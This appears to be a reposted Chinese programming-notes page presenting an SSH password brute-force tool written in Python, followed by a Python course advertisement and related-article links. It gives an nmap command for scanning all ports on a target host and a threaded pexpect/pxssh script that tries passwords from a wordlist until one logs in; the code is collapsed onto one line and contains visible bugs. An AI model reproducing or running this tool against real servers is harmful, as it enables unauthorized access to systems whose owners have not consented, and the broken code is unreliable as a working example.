热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

服务器暴力破解的程序(python开发)

如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和首先我们看一下基本的原理以及过程Paste_Image.png我们看一下准备工作:我们需要

服务器暴力破解的程序(python开发)

如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和


首先我们看一下基本的原理以及过程

服务器暴力破解的程序(python开发)

Paste_Image.png

我们看一下准备工作:

我们需要获取目标机器的IP和SHH端口 ssh端口是可以改变的,所以我们需要去扫描机器的正确的ssh端口。我们使用nmap工具去扫描,使用下面这条命令就可以目标机器上面存在的所有的端口以及服务的名称和使用软件的版本号:

Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目标机器)

服务器暴力破解的程序(python开发)

Paste_Image.png

大家可以看到我们的ssh端口是我们的12784。ssh版本是5.3

现在我们以及获取到我们需要的信息了 IP:192.168.1.110 PORT:12784

我们可以开始破解了。

服务器暴力破解的程序(python开发)

Paste_Image.png

大家可以看到password Found: vagrant这个就是我们的目标机器的密码:

#python pexpect pxssh远程登录 login()方法可以帮助我们去登录目标机器from pexpect import pxsshimport optparse #处理我们命令行参数的模块from threading import * #多线程 高并发 可以同时登录多个密码import timemaxConnections = 5 #执行最大线程数 可以修改#把maxConnection绑定到我们BoundedSemaphore方法 赋值给connection对象connection_lock = BoundedSemaphore(value=maxConnections)Found = False #设置一个初始化值 false后面会用到Failes = 0 #设置一个初始化值为0def connect(host, user, password, ports, release): #传了5个变量进去 global Found global Failes try: s = pxssh.pxssh() #把方法绑定到对象s 方便调用 s.login(host,user,password,ports) #调用我们的pxssh.login方法并把参数传进去 print '[+] Password Found:' +password #打印匹配到的密码 Found = True #如果等于true就结束 except Exception, e: if 'read_nonblocking' in str(e): #这个字符串表示主机连接次数过多,ssh不对外提供服务 Failes += 1 time.sleep(5) #休息5秒 connect(host,user,password,False) #重新调用connect函数 finally: if release: connection_lock.release()def main(): parser = optparse.OptionParser("usage%prog -H -u -F -P ") #创建一个对象parser绑定一个帮助信息 自动生成 parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-u', dest='user', type='string', help='specify target user') parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file') parser.add_option('-P', dest='ports', type='string', help='specify target ports') #当我们输入-p之后会把参数赋值给ports (options, args)=parser.parse_args() host = options.tgtHost user = options.user passwdFiles = options.passwdFile host = options.passwdFile ports = options.ports if (host==None) | (user==None) | (passwdFiles==None) | (ports==None): #判断获取的值是否为空,如果有一个为空就打印帮助信息 print parser.usage #打印帮助信息 exit() fn = open(passwdFiles,'r') #使用open方法打开文件并绑定到fn这个对象 for line in fn.readline(): if Found: print "[*] exiting: password Found" exit() if Failes > 5: print "[!]exiting: Too many socket timeouts" exit() connection_lock.acquire() #锁定 password = line.strip('\r\n') print "[-] Testing: " +str(password) t = Thread(target = connect(), args=(host, user, password, ports, True)) #启动多线程,并传入方法connet函数 args是函数的参数if __name__ == '__main__': main()

如果你符合下面的情况中的任意一条,那我十分建议你加入跟着一起学习


1.准备从事编程工作,但是不知道选择什么语言好

2.只掌握了Python基础,缺乏系统性的学习以及企业级项目实战,达不到求职的能力

3.有一定Python基础,但是求职屡屡碰壁,各种问题频繁暴露,甚至怀疑自己不适合做开发

4.准备转行从事开发的同学

5.年满18即可

6.想利用Python副业月入3000-80000


图片

****扫码二维码领取Python学习试学课程+课程咨询!

领取福利加小姐姐微信:SX77661

免费领取学习+课程规划

图片


推荐阅读
  • 在运行于MS SQL Server 2005的.NET 2.0 Web应用中,我偶尔会遇到令人头疼的SQL死锁问题。过去,我们主要通过调整查询来解决这些问题,但这既耗时又不可靠。我希望能找到一种确定性的查询模式,确保从设计上彻底避免SQL死锁。 ... [详细]
  • JUC并发编程——线程的基本方法使用
    目录一、线程名称设置和获取二、线程的sleep()三、线程的interrupt四、join()五、yield()六、wait(),notify(),notifyAll( ... [详细]
  • Zabbix自定义监控与邮件告警配置实践
    本文详细介绍了如何在Zabbix中添加自定义监控项目,配置邮件告警功能,并解决测试告警时遇到的邮件不发送问题。 ... [详细]
  • RTThread线程间通信
    线程中通信在裸机编程中,经常会使用全局变量进行功能间的通信,如某些功能可能由于一些操作而改变全局变量的值,另一个功能对此全局变量进行读取& ... [详细]
  • pypy 真的能让 Python 比 C 还快么?
    作者:肖恩顿来源:游戏不存在最近“pypy为什么能让python比c还快”刷屏了,原文讲的内容偏理论,干货比较少。我们可以再深入一点点,了解pypy的真相。正式开始之前,多唠叨两句 ... [详细]
  • 关于进程的复习:#管道#数据的共享Managerdictlist#进程池#cpu个数1#retmap(func,iterable)#异步自带close和join#所有 ... [详细]
  • 驱动程序的基本结构1、Windows驱动程序中重要的数据结构1.1、驱动对象(DRIVER_OBJECT)每个驱动程序会有唯一的驱动对象与之对应,并且这个驱动对象是在驱 ... [详细]
  • td{border:1pxsolid#808080;}参考:和FMX相关的类(表)TFmxObjectIFreeNotification ... [详细]
  • Web动态服务器Python基本实现
    Web动态服务器Python基本实现 ... [详细]
  • 本文详细介绍了如何正确设置Shadowsocks公共代理,包括调整超时设置、检查系统限制、防止滥用及遵守DMCA法规等关键步骤。 ... [详细]
  • 协程作为一种并发设计模式,能有效简化Android平台上的异步代码处理。自Kotlin 1.3版本引入协程以来,这一特性基于其他语言的成熟理念,为开发者提供了新的工具,以增强应用的响应性和效率。 ... [详细]
  • 本文探讨了如何通过优化SOAP服务调用和多线程处理来减少生成的事件数量,并提高加载大量实体的效率。 ... [详细]
  • 电商高并发解决方案详解
    本文以京东为例,详细探讨了电商中常见的高并发解决方案,包括多级缓存和Nginx限流技术,旨在帮助读者更好地理解和应用这些技术。 ... [详细]
  • 本文总结了近年来在实际项目中使用消息中间件的经验和常见问题,旨在为Java初学者和中级开发者提供实用的参考。文章详细介绍了消息中间件在分布式系统中的作用,以及如何通过消息中间件实现高可用性和可扩展性。 ... [详细]
  • 在iOS开发中,多线程技术的应用非常广泛,能够高效地执行多个调度任务。本文将重点介绍GCD(Grand Central Dispatch)在多线程开发中的应用,包括其函数和队列的实现细节。 ... [详细]
author-avatar
Openset
Less is more!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有